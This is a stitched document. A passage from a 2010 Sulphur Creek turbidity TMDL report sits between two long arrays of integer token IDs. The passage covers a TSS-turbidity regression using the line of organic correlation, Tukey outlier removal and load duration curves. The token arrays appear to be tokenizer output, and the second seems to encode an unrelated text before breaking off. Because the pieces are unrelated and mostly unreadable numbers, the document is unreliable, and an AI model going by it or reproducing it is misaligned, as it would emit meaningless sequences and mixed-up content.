36121, 1556, 187, 20266, 4267, 187, 3039, 9826, 1878, 19325, 9077, 313, 3271, 52, 10, 310, 3732, 281, 24228, 253, 1682, 2954, 187, 17352, 767, 4903, 313, 74, 15, 70, 904, 1594, 285, 714, 582, 581, 4778, 313, 58, 10, 310, 2783, 773, 6820, 668, 327, 253, 643, 187, 18645, 313, 57, 582, 533, 1594, 1364, 320, 2783, 773, 17777, 668, 273, 253, 643, 13, 285, 1929, 1293, 187, 30238, 420, 2228, 15, 473, 7858, 46926, 253, 3910, 13, 390, 42435, 13, 875, 4080, 714, 2193, 187, 395, 714, 2193, 8131, 1754, 327, 253, 1594, 4778, 15, 187, 2214, 1655, 6378, 13, 247, 2954, 310, 3309, 281, 3283, 308, 3528, 6299, 432, 187, 44657, 11868, 14283, 2193, 13, 533, 671, 281, 16497, 253, 308, 3528, 14, 3169, 18426, 6721, 896, 281, 275, 14, 4963, 187, 85, 4063, 14283, 2193, 15, 1198, 436, 4096, 13, 271, 17958, 9077, 13532, 5199, 1929, 347, 253, 1386, 273, 187, 23589, 5921, 313, 21766, 10, 369, 3732, 15, 380, 35378, 556, 1264, 11361, 689, 473, 7858, 313, 41, 1241, 293, 285, 187, 41, 343, 10629, 6752, 2262, 187, 21766, 46926, 14662, 42435, 275, 1097, 253, 1594, 285, 714, 10746, 28, 187, 1147, 3400, 247, 4451, 1682, 14, 8491, 1386, 10159, 273, 534, 4764, 310, 908, 347, 253, 187, 17777, 4778, 28, 285, 187, 5785, 1256, 14, 71, 2166, 2193, 452, 253, 1072, 11041, 347, 253, 3236, 941, 15, 187, 510, 35378, 46926, 253, 3672, 273, 253, 987, 30102, 4447, 407, 11593, 285, 9118, 3104, 187, 21584, 432, 7313, 281, 253, 14662, 1386, 15, 380, 14679, 273, 253, 35378, 1386, 18207, 253, 17856, 187, 10722, 273, 253, 714, 327, 1594, 313, 53, 3528, 327, 11868, 14283, 10, 285, 1594, 327, 714, 313, 85, 4063, 14283, 327, 308, 3528, 10, 473, 7858, 28677, 13, 285, 310, 187, 1179, 32001, 347, 27, 187, 89, 187, 90, 187, 84, 187, 84, 187, 78, 18, 278, 278, 8, 861, 60, 83, 62, 187, 2811, 278, 18, 310, 253, 14679, 273, 253, 35378, 1386, 13, 278, 310, 253, 308, 3528, 327, 11868, 14283, 473, 7858, 14679, 13, 278, 457, 310, 253, 11868, 14283, 187, 251, 308, 3528, 473, 7858, 14679, 13, 391, 310, 253, 308, 3528, 14, 85, 4063, 14283, 5921, 10235, 13, 726, 310, 253, 2629, 11254, 273, 187, 783, 308, 3528, 6341, 13, 285, 256, 89, 310, 253, 2629, 11254, 273, 253, 11868, 14283, 6341, 15, 187, 510, 22548, 273, 253, 35378, 313, 67, 18, 10, 310, 9674, 1119, 407, 13532, 253, 1386, 342, 253, 35378, 14679, 187, 10489, 253, 1127, 313, 10722, 11868, 14283, 13, 1599, 308, 3528, 481, 380, 5921, 875, 308, 3528, 285, 11868, 14283, 13, 187, 28694, 342, 253, 35378, 285, 253, 473, 7858, 3104, 403, 2011, 275, 5317, 577, 14, 18, 15, 187, 52, 335, 545, 321, 16611, 18426, 6721, 23557, 43584, 285, 13277, 187, 29003, 29526, 4063, 14283, 18426, 6721, 36375, 545, 321, 16611, 15, 7152, 89, 577, 14, 20, 36121, 1556, 187, 20266, 4267, 187, 2841, 577, 14, 18, 29682, 3667, 1256, 323, 308, 3528, 14, 53, 4063, 14283, 762, 11760, 14, 5449, 34116, 323, 187, 52, 335, 545, 321, 16611, 313, 10249, 577, 12971, 5831, 29728, 64, 361, 10, 187, 510, 12650, 5230, 1599, 6278, 2228, 313, 10189, 46, 2354, 10, 285, 416, 14, 15044, 313, 51, 19, 10, 497, 908, 347, 253, 187, 21423, 5593, 273, 23190, 14, 1171, 14, 8491, 15, 1284, 2011, 275, 5317, 577, 14, 18, 13, 253, 35378, 11026, 247, 15132, 46, 2354, 1318, 187, 1171, 1638, 15, 26, 534, 2097, 253, 5230, 1599, 6278, 2228, 313, 26889, 2354, 10, 310, 1638, 15, 26, 6, 273, 253, 3388, 273, 253, 187, 44657, 308, 3528, 2193, 15, 380, 416, 14, 15044, 313, 51, 19, 10, 1318, 6492, 253, 6919, 273, 253, 2264, 11041, 275, 187, 53, 3528, 390, 11868, 14283, 7313, 326, 310, 5544, 407, 253, 35378, 15, 187, 1147, 369, 4879, 326, 627, 497, 247, 1643, 42559, 326, 33916, 39284, 4833, 327, 253, 9077, 187, 46397, 15, 2053, 42559, 497, 3636, 407, 9433, 253, 44384, 457, 84, 14423, 14095, 1332, 187, 9, 37675, 2364, 14960, 10, 281, 253, 10895, 273, 253, 13849, 432, 2540, 2792, 281, 253, 9077, 1386, 15, 380, 187, 37675, 2364, 8378, 310, 1754, 327, 253, 734, 42899, 2491, 313, 34914, 582, 253, 3064, 875, 253, 6879, 394, 187, 25250, 587, 313, 50, 20, 10, 285, 2030, 394, 36384, 313, 50, 18, 10, 273, 13849, 875, 2540, 2792, 285, 253, 35378, 15, 187, 11888, 253, 44384, 1332, 13, 667, 1127, 342, 271, 2228, 3687, 685, 1165, 20, 559, 337, 15, 22, 11, 309, 18787, 390, 1679, 685, 1165, 18, 1108, 187, 18, 15, 22, 11, 34914, 369, 3636, 347, 271, 562, 3623, 285, 5176, 432, 253, 9077, 10895, 15, 380, 1840, 187, 1747, 37761, 497, 5118, 970, 253, 10895, 342, 42559, 5176, 15, 187, 510, 44384, 8378, 310, 6425, 281, 970, 1264, 2069, 253, 2629, 11254, 281, 4271, 187, 483, 19139, 604, 253, 42435, 313, 45912, 428, 8131, 10, 956, 247, 2622, 3268, 15, 380, 5912, 273, 187, 48027, 1543, 1146, 1561, 1264, 2629, 21492, 273, 253, 1599, 310, 8688, 15, 3655, 6, 1223, 253, 187, 22275, 1430, 323, 253, 44384, 8378, 310, 8688, 15, 2082, 7739, 1310, 1264, 2069, 253, 2629, 11254, 310, 908, 281, 187, 888, 1419, 42559, 13, 352, 310, 3309, 281, 806, 6583, 326, 253, 42435, 403, 6296, 9403, 187, 45618, 15, 831, 310, 2834, 281, 513, 984, 273, 253, 1979, 7364, 273, 253, 5368, 11868, 14283, 708, 187, 53, 3528, 10895, 15, 44384, 457, 84, 1332, 1057, 417, 10725, 327, 667, 9376, 670, 253, 3268, 273, 253, 187, 40512, 780, 84, 15, 733, 476, 320, 908, 10159, 273, 253, 5281, 273, 3268, 15, 187, 11888, 253, 9077, 5150, 2011, 275, 5317, 577, 14, 18, 13, 247, 11868, 14283, 1318, 273, 2456, 20483, 54, 313, 15291, 187, 40812, 281, 36375, 545, 321, 16611, 10, 10140, 281, 247, 308, 3528, 4719, 273, 4562, 15, 21, 5770, 16, 45, 15, 187, 18, 187, 740, 187, 2313, 187, 9138, 187, 18, 884, 2233, 9098, 187, 53, 3528, 313, 7913, 16, 45, 10, 187, 53, 4063, 14283, 313, 6369, 54, 10, 187, 2808, 9, 53, 3528, 10, 426, 470, 15, 24, 27222, 11, 2808, 9, 53, 4063, 10, 559, 187, 17, 15, 1348, 2511, 187, 52, 335, 545, 321, 16611, 18426, 6721, 23557, 43584, 285, 13277, 187, 29003, 29526, 4063, 14283, 18426, 6721, 36375, 545, 321, 16611, 15, 7152, 89, 577, 14, 21, 36121, 1556, 187, 20266, 4267, 187, 21, 15, 19, 6915, 16676, 42334, 11579, 1634, 281, 20148, 18426, 6721, 84, 187, 510, 18426, 6721, 10426, 3559, 275, 436, 1304, 403, 6012, 432, 3301, 7467, 9191, 187, 9, 45, 9151, 481, 20060, 6072, 12454, 5233, 2440, 273, 18426, 6721, 84, 13, 285, 347, 247, 18426, 6721, 2440, 4968, 13, 187, 527, 9038, 1880, 38691, 403, 2330, 342, 1127, 390, 1327, 3659, 4973, 15, 380, 7681, 187, 6772, 607, 323, 970, 20060, 6072, 323, 18426, 6721, 2440, 3797, 253, 1740, 1563, 5018, 2529, 187, 249, 4974, 21454, 577, 15, 20, 949, 577, 15, 21, 2708, 27, 187, 7420, 48434, 2685, 7467, 9191, 323, 305, 2961, 285, 440, 72, 2961, 411, 50, 46, 10988, 28, 187, 46218, 839, 10935, 275, 253, 6883, 1824, 970, 4080, 308, 3528, 1824, 3290, 941, 285, 187, 85, 4063, 14283, 14, 585, 13083, 941, 28, 187, 44607, 1699, 253, 4583, 2558, 5141, 4736, 313, 3175, 40, 10, 3309, 281, 20685, 411, 39610, 28, 285, 187, 32086, 1037, 13, 275, 6684, 18972, 1909, 323, 39917, 432, 1127, 4973, 13, 352, 369, 35629, 281, 187, 19417, 366, 247, 4619, 1698, 2685, 1617, 313, 70, 15, 72, 904, 818, 50, 19, 10, 387, 534, 253, 4869, 32588, 10935, 187, 4238, 5118, 15, 1284, 1824, 3290, 4323, 6031, 11848, 275, 7990, 281, 36878, 187, 12025, 1327, 3659, 4973, 273, 17432, 285, 2710, 3510, 273, 39917, 13, 352, 3395, 2590, 326, 436, 187, 20199, 4619, 1698, 2685, 1617, 369, 18766, 281, 5416, 10599, 1824, 3290, 2439, 247, 187, 6324, 273, 2685, 2515, 15, 7890, 273, 253, 418, 9151, 691, 6584, 684, 253, 878, 281, 3653, 247, 2216, 9902, 390, 187, 16191, 2685, 15969, 7726, 342, 534, 281, 17710, 253, 4569, 2685, 1268, 323, 253, 187, 515, 18114, 273, 4619, 2515, 15, 1198, 1824, 67, 4550, 27857, 407, 1097, 1127, 285, 1327, 3659, 187, 33491, 13, 253, 773, 4160, 3659, 2603, 4619, 1617, 668, 651, 5431, 2826, 1309, 1029, 14221, 13, 672, 187, 1949, 12615, 1408, 2727, 651, 8162, 253, 10713, 273, 253, 33076, 386, 3301, 13, 1223, 253, 773, 3659, 2603, 4619, 187, 12380, 668, 651, 5431, 2826, 1309, 1698, 14221, 13, 672, 1127, 2603, 48246, 651, 187, 3335, 4024, 253, 2613, 2685, 273, 253, 15506, 1824, 15, 1723, 13, 2685, 2491, 310, 760, 247, 2087, 15301, 187, 1171, 253, 4103, 8394, 273, 1127, 16, 4160, 3659, 9021, 15, 733, 310, 417, 908, 275, 436, 1304, 281, 187, 17149, 1419, 1127, 2603, 390, 1327, 3659, 2603, 9021, 15, 27398, 569, 326, 2826, 1309, 1698, 14221, 187, 11159, 417, 320, 4269, 14288, 407, 1127, 4973, 15, 27398, 569, 452, 644, 4879, 275, 690, 187, 48920, 742, 84, 326, 3831, 642, 1127, 4973, 15, 187, 9803, 6072, 3148, 253, 4869, 1581, 494, 3301, 689, 253, 3426, 2491, 273, 2685, 2515, 407, 187, 66, 1386, 970, 253, 10272, 273, 2685, 31458, 407, 253, 1824, 3290, 17705, 15, 380, 18426, 6721, 476, 320, 187, 34849, 347, 247, 5415, 1159, 273, 2685, 13 ]

MOS. 4.1 Determining a Surrogate Target 40 CFR, §130.2(1), states that TMDLs can be expressed in terms of mass per time, toxicity, or other appropriate measures. Turbidity is a commonly measured indicator of the suspended solids load in streams. However, turbidity is an optical property of water, and measures scattering of light by suspended solids and colloidal matter. To develop TMDLs, a gravimetric (mass-based) measure of solids loading is required to express loads. There is often a strong relationship between the total suspended solids concentration and turbidity. Therefore, the TSS load, which is expressed as mass per time, is used as a surrogate for turbidity and represents the maximum one-day load the stream can assimilate while still attaining the WQS. To determine the relationship between turbidity and TSS, a linear regression between TSS and turbidity was developed using data collected from 1991 to 2007 at one station within the Study Area. Prior to developing the regression the following steps were taken to refine the dataset: Assign values to censored data (i.e., measured concentrations lower than the analytical quantitation limit and, thus, reported as less than the quantitation limit). For example, using 9.99 to replace samples reported as “<10”; Check rainfall data on the day when samples were collected and on the previous two days. If there was a significant rainfall event (>= 1.0 inch) in any of these days, the sample will be excluded from regression analysis with one exception. If the significant rainfall happened on the sampling day and the turbidity reading was less than 25 NTUs (half of turbidity standard for streams), the sample will not be excluded from analysis because most likely the rainfall occurred after the sample was taken; Remove data collected under high flow conditions exceeding the base-flow criterion. This means that measurements corresponding to flow exceedance frequencies lower than 25% were not used in the regression; and Log-transform both turbidity and TSS data to minimize effects of their non-linear data distributions. Sulphur Creek TMDL Technical Approach and Methods FINALTurbidity TMDL Sulphur Creek.docx 4-2 FINAL August 2010 When ordinary least squares regression (OLS) is applied to ascertain the best relationship between two variables (i.e., X and Y), one variable (Y) is considered “dependent” on the other variable (X), but X must be considered “independent” of the other, and known without measurement error. OLS minimizes the differences, or residuals, between measured Y values and Y values predicted based on the X variable. For current purposes, a relationship is necessary to predict TSS concentrations from measured turbidity values, but also to translate the TSS-based TMDL back to in-stream turbidity values. For this purpose, an alternate regression fitting procedure known as the line of organic correlation (LOC) was applied. The LOC has three advantages over OLS (Helsel and Hirsch 2002): LOC minimizes fitted residuals in both the X and Y directions; It provides a unique best-fit line regardless of which parameter is used as the independent variable; and Regression-fitted values have the same variance as the original data. The LOC minimizes the areas of the right triangles formed by horizontal and vertical lines drawn from observations to the fitted line. The slope of the LOC line equals the geometric mean of the Y on X (TSS on turbidity) and X on Y (turbidity on TSS) OLS slopes, and is calculated as: x y s s m1 m m' sign[r] where m1 is the slope of the LOC line, m is the TSS on turbidity OLS slope, m’ is the turbidity on TSS OLS slope, r is the TSS-turbidity correlation coefficient, sy is the standard deviation of the TSS measurements, and sx is the standard deviation of the turbidity measurements. The intercept of the LOC (b1) is subsequently found by fitting the line with the LOC slope through the point (mean turbidity, mean TSS). The correlation between TSS and turbidity, along with the LOC and the OLS lines are shown in Figure 4-1. Sulphur Creek TMDL Technical Approach and Methods FINALTurbidity TMDL Sulphur Creek.docx 4-3 FINAL August 2010 Figure 4-1 Linear Regression for TSS-Turbidity under Base-flow Conditions for Sulphur Creek (OK 410600010030_00) The normalized root mean square error (NRMSE) and R-square (R2) were used as the primary measures of goodness-of-fit. As shown in Figure 4-1, the LOC yields a NRMSE value of 14.9 which means the root mean square error (RMSE) is 14.9% of the average of the measured TSS values. The R-square (R2) value indicates the fraction of the total variance in TSS or turbidity observations that is explained by the LOC. It was noted that there were a few outliers that exerted undue influence on the regression relationship. These outliers were identified by applying the Tukey’s Boxplot method (Tukey 1977) to the dataset of the distances from observed points to the regression line. The Tukey Method is based on the interquartile range (IQR), the difference between the 75th percentile (Q3) and 25th percentile (Q1) of distances between observed points and the LOC. Using the Tukey method, any point with an error greater than Q3 + 1.5* IQR or less than Q1 – 1.5*IQR was identified as an outlier and removed from the regression dataset. The above regressions were calculated using the dataset with outliers removed. The Tukey Method is equivalent to using three times the standard deviation to identify outliers if the residuals (observed - predicted) follow a normal distribution. The probability of sampling results being within three standard deviations of the mean is 99.73% while the probability for the Tukey Method is 99.65%. If three times the standard deviation is used to identify outliers, it is necessary to first confirm that the residuals are indeed normally distributed. This is difficult to do because of the size limitations of the existing turbidity & TSS dataset. Tukey’s method does not rely on any assumption about the distribution of the residuals. It can be used regardless of the shape of distribution. Using the regression equation shown in Figure 4-1, a turbidity value of 50 NTU (standard applicable to Sulphur Creek) corresponds to a TSS concentration of 31.4 mg/L. 1 10 100 1000 1 10 100 1000 TSS (mg/L) Turbidity (NTU) log(TSS) = 0.7342*log(Turb) + 0.2489 Sulphur Creek TMDL Technical Approach and Methods FINALTurbidity TMDL Sulphur Creek.docx 4-4 FINAL August 2010 4.2 Using Load Duration Curves to Develop TMDLs The TMDL calculations presented in this report are derived from load duration curves (LDC). LDCs facilitate rapid development of TMDLs, and as a TMDL development tool, indicate whether impairments are associated with point or nonpoint sources. The technical approach for using LDCs for TMDL development includes the four following steps described in Subsections 4.3 through 4.4 below: Preparing flow duration curves for gaged and ungaged WQM stations; Estimating loading in the receiving water using measured TSS water quality data and turbidity-converted data; Determining the overall percent reduction goal (PRG) necessary to attain WQS; and Historically, in developing WLAs for pollutants from point sources, it was customary to designate a critical low flow condition (e.g., 7Q2) at which the maximum permissible loading was calculated. As water quality management efforts expanded in scope to quantitatively address nonpoint sources of pollution and various types of pollutants, it became clear that this single critical low flow condition was inadequate to ensure adequate water quality across a range of flow conditions. Use of the LDC obviates the need to determine a design storm or selected flow recurrence interval with which to characterize the appropriate flow level for the assessment of critical conditions. For waterbodies impacted by both point and nonpoint sources, the “nonpoint source critical condition” would typically occur during high flows, when rainfall runoff would contribute the bulk of the pollutant load, while the “point source critical condition” would typically occur during low flows, when point source discharges would dominate the base flow of the impaired water. However, flow range is only a general indicator of the relative proportion of point/nonpoint contributions. It is not used in this report to quantify point source or nonpoint source contributions. Violations that occur during low flows may not be caused exclusively by point sources. Violations have been noted in some watersheds that contain no point sources. LDCs display the maximum allowable load over the complete range of flow conditions by a line using the calculation of flow multiplied by the water quality criterion. The TMDL can be expressed as a continuous function of flow,

[ 5256, 19, 14, 8751, 14, 1166, 14, 361, 16903, 910, 709, 14, 881, 568, 1704, 7547, 3559, 253, 1072, 9058, 273, 247, 2045, 789, 326, 2908, 1524, 11521, 273, 15506, 13988, 952, 1254, 35, 25, 14, 8751, 14, 1166, 14, 361, 16903, 1656, 1723, 13, 253, 9560, 1127, 1060, 403, 253, 3237, 342, 13546, 1524, 11521, 432, 5875, 3907, 13988, 952, 15, 496, 776, 1083, 13, 359, 760, 574, 9214, 432, 253, 21482, 9353, 323, 948, 8287, 11521, 342, 581, 14687, 313, 2354, 3071, 481, 8079, 13, 436, 14687, 1900, 3597, 281, 50007, 253, 2965, 313, 284, 667, 1436, 2820, 281, 3693, 247, 2965, 651, 513, 481, 844, 1908, 326, 1469, 21816, 342, 247, 14200, 285, 625, 15958, 13988, 2965, 10895, 651, 320, 6685, 11132, 15, 20911, 13988, 952, 313, 783, 2303, 273, 436, 789, 10, 2965, 327, 3388, 2378, 591, 807, 13, 891, 15, 70, 904, 281, 16270, 247, 2014, 2965, 651, 2430, 247, 2120, 807, 273, 5415, 7663, 15, 5076, 13, 275, 436, 1039, 13, 253, 4588, 2515, 273, 253, 2965, 313, 12135, 13, 1930, 273, 10805, 13, 3966, 2698, 778, 1620, 320, 1929, 15, 9937, 841, 1896, 31306, 13, 359, 1902, 326, 436, 10895, 588, 320, 247, 4217, 22791, 323, 643, 4477, 281, 1071, 616, 1211, 7274, 285, 281, 8415, 253, 1527, 3374, 3559, 275, 436, 789, 15, 187, 187, 23, 15, 35329, 1712, 1704, 23, 14, 8751, 14, 1166, 14, 361, 16903, 94, 187, 26446, 187, 187, 688, 436, 2929, 359, 3559, 285, 4439, 322, 261, 37327, 13, 247, 2965, 285, 4866, 10895, 9288, 342, 6480, 5014, 313, 1010, 273, 731, 13988, 952, 481, 380, 941, 497, 9288, 342, 271, 17308, 11955, 4229, 281, 616, 2133, 15, 23243, 342, 436, 10895, 359, 5183, 326, 247, 608, 14878, 7002, 1340, 5806, 11359, 2217, 1491, 323, 15549, 11521, 327, 3907, 13988, 952, 15, 9157, 13, 359, 2692, 326, 313, 284, 19997, 267, 1757, 1162, 355, 15, 4767, 323, 15772, 1025, 15506, 13988, 952, 10, 3733, 2965, 5481, 11333, 342, 2872, 952, 310, 417, 10599, 323, 15549, 11521, 327, 3907, 13988, 952, 15, 380, 2022, 1895, 1119, 310, 326, 2872, 952, 26065, 11521, 285, 5446, 45, 342, 625, 17680, 685, 253, 3264, 342, 13988, 952, 15, 6610, 13, 359, 2692, 2139, 4560, 4869, 7200, 275, 2965, 5481, 11333, 310, 417, 247, 1175, 2557, 323, 1524, 14, 8206, 4893, 13, 835, 253, 2288, 2322, 273, 253, 985, 1364, 320, 14662, 281, 2736, 11521, 13, 1223, 8493, 253, 3221, 2762, 2281, 347, 1896, 15, 1723, 13, 512, 5762, 3386, 3559, 4105, 1543, 342, 436, 31578, 15, 187, 187, 1231, 651, 751, 281, 5717, 34781, 27051, 13, 6039, 23353, 473, 23485, 80, 285, 17918, 5495, 7608, 80, 323, 616, 14448, 28, 285, 281, 512, 1110, 17679, 5014, 13, 4653, 2697, 34, 530, 2573, 34, 13, 285, 253, 4268, 80, 285, 329, 1479, 7112, 29731, 14635, 2390, 387, 253, 530, 2573, 34, 323, 616, 47860, 7680, 275, 253, 5978, 273, 253, 322, 261, 37327, 10895, 15, 844, 671, 971, 281, 14409, 253, 31768, 273, 253, 30628, 326, 6760, 436, 789, 15, 831, 789, 369, 4516, 407, 253, 2199, 346, 3493, 682, 630, 66, 716, 14340, 311, 33320, 3737, 5586, 3897, 50213, 3783, 372, 4014, 284, 382, 14994, 13, 4406, 2083, 6358, 40044, 42888, 13, 32644, 29378, 340, 1114, 262, 410, 80, 9928, 70, 247, 3897, 19162, 42523, 340, 1049, 49155, 247, 3897, 2086, 284, 372, 1964, 1118, 3876, 340, 638, 1261, 45198, 995, 2127, 346, 51, 20938, 14, 47, 27, 25127, 2031, 41612, 14, 19233, 36, 14, 6622, 3446, 187, 187, 510, 1563, 4367, 403, 2130, 3909, 1254, 35, 1423, 14, 8751, 14, 1166, 14, 361, 16903, 1184, 27, 1401, 52, 261, 37327, 4866, 285, 2965, 10895, 6019, 10318, 4367, 342, 512, 5950, 4712, 285, 247, 6707, 1405, 342, 1798, 1491, 273, 512, 5705, 285, 19654, 6019, 17213, 19654, 273, 512, 4712, 6019, 5815, 2425, 2908, 275, 253, 322, 261, 37327, 10895, 369, 3492, 5950, 285, 2908, 275, 436, 2144, 6019, 29153, 285, 8442, 342, 1543, 273, 512, 3386, 6019, 380, 1072, 4679, 2011, 2112, 253, 2929, 342, 760, 2620, 3386, 497, 2684, 342, 253, 1638, 4236, 323, 436, 789, 15, 187, 187, 3074, 4477, 20913, 285, 4158, 253, 4679, 28, 329, 15, 52, 15, 2684, 253, 4679, 28, 329, 15, 52, 15, 285, 500, 15, 37, 15, 45, 15, 5867, 253, 941, 28, 285, 512, 4477, 1239, 285, 7012, 253, 2457, 7714, 15, 187, 187, 510, 4477, 11165, 642, 7344, 273, 1600, 15, 380, 23569, 34423, 574, 642, 2554, 275, 253, 2216, 273, 253, 1263, 28, 275, 253, 4849, 13, 6260, 13, 390, 7914, 273, 941, 28, 275, 253, 4028, 273, 253, 7714, 13, 285, 275, 253, 3061, 281, 15452, 253, 1543, 15, 187, 187, 3138, 15982, 908, 323, 11931, 15, 380, 1881, 14, 35208, 12691, 2813, 2908, 767, 17308, 19045, 285, 247, 19859, 10425, 1714, 15, 733, 369, 4229, 281, 253, 18106, 273, 253, 5014, 5774, 8751, 14, 1166, 14, 361, 16903, 14, 72, 2874, 4253, 8751, 14, 1166, 14, 361, 16903, 14, 71, 2874, 94, 187, 187, 3138, 16698, 273, 5162, 285, 9162, 15, 380, 3386, 403, 10302, 846, 253, 19690, 1232, 273, 253, 9305, 941, 15, 5094, 66, 5737, 5446, 45, 399, 883, 4245, 370, 36, 578, 25, 724, 2193, 2708, 7887, 370, 53, 578, 18, 724, 313, 33464, 1401, 433, 424, 1386, 558, 5094, 67, 5737, 36350, 370, 36, 578, 25, 724, 25808, 253, 7887, 672, 253, 2965, 275, 2425, 401, 1762, 310, 5189, 5774, 8751, 14, 1166, 14, 361, 16903, 14, 72, 4699, 4253, 8751, 14, 1166, 14, 361, 16903, 14, 71, 4699, 94, 187, 187, 3138, 11728, 42456, 2797, 275, 12820, 846, 247, 884, 14, 8089, 2831, 14, 29599, 1293, 313, 2040, 941, 10, 285, 342, 638, 21678, 313, 45407, 481, 29621, 370, 36, 578, 19, 724, 285, 370, 36, 578, 25, 724, 6786, 5325, 15, 17, 6, 285, 9161, 15, 18, 6, 273, 7200, 672, 253, 5806, 369, 3732, 13, 2975, 15, 1723, 13, 417, 512, 3386, 5520, 616, 3045, 846, 19690, 5774, 8751, 14, 1166, 14, 361, 16903, 14, 72, 4838, 4253, 8751, 14, 1166, 14, 361, 16903, 14, 71, 4838, 94, 187, 187, 3138, 40984, 1318, 591, 2425, 2797, 342, 370, 36, 578, 25, 3363, 5595, 370, 53, 578, 18, 724, 7887, 45553, 313, 33464, 1401, 433, 424, 1386, 10, 403, 6221, 275, 4712, 399, 2125, 13, 399, 1093, 285, 401, 883, 5774, 8751, 14, 1166, 14, 361, 16903, 14, 72, 5525, 4253, 8751, 14, 1166, 14, 361, 16903, 14, 71, 5525, 94, 187, 187, 8751, 14, 1166, 14, 361, 16903, 14, 85, 2874, 64, 3235, 337, 187, 187, 5146, 2490, 187, 15668, 273, 11521, 4236, 323, 436, 789, 15, 535, 50276, 6124, 50275, 12479, 50254, 50254, 50254, 50272, 24490, 932, 50275, 24921, 187, 50276, 4485, 12383, 22873, 6271, 16213, 187, 50276, 39, 520, 50274, 37327, 3579, 1223, 7824, 4269, 407, 247, 15813, 50254, 252, 50264, 608, 50270, 1010, 256, 187, 50276, 39, 2640, 50274, 37327, 19265, 1223, 7824, 4269, 407, 247, 15813, 50254, 252, 50264, 22, 50270, 1010, 256, 187, 50276, 39, 2941, 50274, 45, 7476, 2965, 1223, 7824, 4269, 407, 247, 15813, 50254, 252, 50264, 608, 50270, 1010, 256, 187, 50276, 39, 2125, 50274, 37327, 3579, 1223, 7824, 4269, 407, 247, 7408, 50254, 252, 50264, 608, 50270, 1010, 256, 187, 50276, 39, 1762, 50274, 37327, 3579, 1223, 32412, 3390, 4269, 407, 247, 7408, 50254, 252, 50264, 608, 50270, 1010, 256, 187, 50276, 39, 3071, 50274, 44594, 2965, 1223, 7824, 4269, 407, 46947, 1076, 50254, 245, 50265, 608, 50270, 1010, 256, 187, 50276, 39, 2922, 50274, 37327, 1223, 7824, 13, 342, 897, 273, 3564, 275, 247, 2829, 281, 16109, 257, 2965, 13, 4269, 407, 46947, 1076, 50275, 22, 50270, 1010, 256, 187, 50276, 39, 2904, 50274, 37327, 3579, 672, 2820, 281, 755, 598, 50254, 50254, 50274, 22, 50270, 1010, 256, 187, 50276, 39, 2693, 50274, 45, 7476, 2965, 672, 2820, 281, 755, 598, 50254, 50254, 50274, 22, 50270, 1010, 256, 187, 50276, 39, 740, 50274, 37327, 3579, 672, 2820, 281, 1790, 1066, 50254, 50254, 50276, 22, 50270, 1010, 256, 187, 50276, 39, 883, 50274, 37327, 19265, 672, 2820, 281, 1790, 1066, 50254, 50254, 608, 50270, 1010, 256, 187, 50276, 39, 805, 50274, 45, 7476, 2965, 672, 2820, 281, 1790, 1066, 50254, 50254, 50276, 22, 50270, 1010, 256, 187, 50276, 39, 1012, 50274, 37327, 3579, 1223, 7063, 13, 4269, 407, 46947, 1076, 390, 10805, 17390, 50256, 22, 50270, 1010, 256, 187, 50276, 39, 1047, 50274, 37327, 19265, 1223, 7063, 13, 4269, 407, 46947, 1076, 390, 10805, 17390, 50257, 22, 50270, 1010, 256, 187, 50276, 39, 1010, 50274, 45, 7476, 2965, 1223, 7063, 13, 4269, 407, 46947, 1076, 390, 10805, 17390, 50256, 22, 50270, 1010, 256, 187, 187, 8751, 14, 1166, 14, 361, 16903, 14, 85, 4699, 64, 3235, 374, 187, 187, 5146, 2490, 187, 15668, 273, 4712, 273, 5312, 3811, 4236, 323, 436, 789, 15, 535, 50276, 6124, 50275, 12479, 50254, 50254, 50254, 50269, 47992, 50275, 24921, 187, 50276, 4485, 12383, 24702, 6271, 16213, 187, 50276, 37, 520, 50274, 56, 21489, 7808, 50254, 50254, 50254, 50274, 18, 50270, 2313, 256, 187, 50276, 37, 2640, 50274, 56, 21489, 4541, 50254, 50254, 50254, 50275, 18, 50270, 2313, 256, 187, 50276, 37, 2941, 50274, 43, 462, 3390, 7808, 50254, 50254, 50254, 50274, 18, 50270, 2313, 256, 187, 50276, 37, 2125, 50274, 43, 462, 3390, 4541, 50254, 50254, 50254, 50275, 18, 50270, 2313, 256, 187, 50276, 37, 1762, 50274, 56, 21489, 24311, 285, 30854, 7808, 50254, 50254, 50274, 22, 50270, 1099, 256, 187, 50276, 37, 3071, 50274, 56, 21489, 24311, 285, 30854, 4541, 50254, 50254, 50275, 22, 50270, 1099, 256, 187, 50276, 37, 2922, 50274, 40246, 314, 1790, 275, 247, 2716, 4898, 6951, 13, 3343, 247, 2774, 13, 285, 598, 7808, 50254, 50275, 22, 50270, 805, 256, 187, 50276, 37, 2904, 50274, 28782, 314, 1790, 275, 247, 2716, 4898, 6951, 13, 3343, 247, 2774, 13, 285, 598, 4541, 50254, 608, 50270, 805, 256, 187, 50276, 37, 2693, 50274, 40246, 314, 1790, 275, 247, 1698, 4898, 6951, 13, 3343, 247, 2774, 13, 285, 598, 7808, 50254, 50274, 22, 50270, 805, 256, 187, 50276, 37, 740, 50274, 28782, 314, 1790, 275, 247, 1698, 4898, 6951, 13, 3343, 247, 2774, 13, 285, 598, 4541, 50254, 50276, 22, 50270, 805, 256, 187, 50276, 37, 883, 50274, 52, 2835, 247, 2774, 13, 2820, 281, 755, 598, 13, 285, 13551, 715, 247, 6951, 50254, 50274, 608, 50270, 805, 256, 187, 50276, 37, 805, 50274, 52, 2835, 247, 2774, 13, 10776, 7808, 13, 3343, 247, 2774, 13, 285, 1790, 969, 50254, 50272, 22, 50270, 805, 256, 187, 50276, 37, 1012, 50274, 52, 2835, 247, 2774, 13, 10776, 4541, 13, 3343, 247, 2774, 13, 285, 1790, 969, 50254, 50274, 608, 50270, 805, 256, 187, 50276, 37, 1047, 50274, 26143, 327, 581, 434, 896, 1818, 281, 11884, 1899, 13, 3343, 247, 2774, 13, 285, 1818, 281, 581, 434, 896, 50275, 22, 50270, 805, 256, 187, 50276, 37, 1010, 50274, 15542, 272, 13, 7808, 23767, 387, 15746, 13, 285, 2970, 598, 50254, 245, 50265, 209, 608, 50270, 805, 256, 187, 50276, 37, 1036, 50274, 15542, 272, 13, 7808, 23767, 1293, 23767, 15746, 13, 285, 2970, 598, 50254, 50274, 22, 50270, 805, 256, 187, 50276, 37, 1166, 50274, 15542, 272, 13, 755, 715, 247, 1113, 13, 3464, 22813, 285, 755, 562, 273, 253, 1113, 50254, 50274, 22, 50270, 1099, 256, 187, 50276, 37, 1093, 50274, 998, 19493, 1223, 7824, 50254, 50254, 341, 50261, 608, 50270, 805, 